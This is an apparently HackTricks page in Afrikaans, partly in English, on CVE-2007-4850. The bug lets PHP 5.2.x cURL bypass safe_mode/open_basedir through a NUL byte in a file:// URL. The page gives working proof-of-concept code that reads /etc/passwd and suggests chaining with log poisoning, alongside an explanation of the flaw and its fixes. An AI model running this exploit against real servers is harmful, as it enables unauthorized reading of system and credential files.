PHP 5.2.4 en 5.2.5 PHP cURL

Reading time: 4 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hierdie bladsy dokumenteer 'n verouderde, maar nog steeds nuttige truuk — handig in CTFs en by plaaslike verouderde installasies — om PHP safe_mode/open_basedir kontroles te omseil deur die cURL uitbreiding op sekere PHP 5.2.x-boues.

  • Geaffekteer: PHP 5.2.4 and 5.2.5 met ext/curl geaktiveer.
  • Impak: Lees arbitrêre plaaslike lêers ondanks safe_mode of open_basedir-beperkings (geen direkte kode-uitvoering nie).
  • ID: CVE-2007-4850.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

Eenreël PoC

As safe_mode of open_basedir aktief is en cURL aangeskakel is, sal die volgende die inhoud van die huidige skrip teruggee:

php
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Meer eksplisiete PoC (arbitrary file read)

php
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Notas:

  • Gebruik dubbele aanhalingstekens of chr(0) om 'n regte NUL-byt in te voeg. Prosent-enkodering (%00) sal nie betroubaar werk nie.
  • Dit is 'n lêerlees-primitive. Kombineer dit met ander primitives (log poisoning, session file inclusion, ens.) vir verdere eskalasie waar moontlik.

Waarom dit werk (kort)

Die kwesbaarheid lê in hoe PHP 5.2.4/5.2.5 safe_mode/open_basedir kontroles vir file:// URLs in ext/curl uitgevoer het. Die kontrole het die URL ontleed en 'n padkomponent gevalideer, maar as gevolg van NUL-byt hantering het dit 'n ander string gevalideer as die een wat werklik deur libcurl gebruik is. In praktyk kon die validator die pad ná die NUL goedkeur terwyl libcurl die deel voor die NUL as die URL-houer gebruik het, wat 'n omseiling moontlik maak wat tot die lees van die lêer wat ná die NUL-byt geplaas is lei. Sien die oorspronklike ontleding en die geaffekteerde makro in curl/interface.c vir besonderhede. [CVE-2007-4850].

Beperkings en regstellings

  • Reggestel in later 5.2.x (bv. distro-boues gepatch na 5.2.6) deur die ontleding/validasie in ext/curl te korrigeer.
  • Beïnvloed slegs baie ou PHP-installasies; safe_mode is verwyder in PHP 5.4 en moderne boues vertoon nie hierdie gedrag nie.

Sien ook

Ander disable_functions/open_basedir bypasses en moderne tegnieke word hier versamel:

HackTricks

Verwysings

  • Ubuntu CVE entry met patch pointers en affected versions: https://ubuntu.com/security/CVE-2007-4850
  • Technical writeup with code context (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks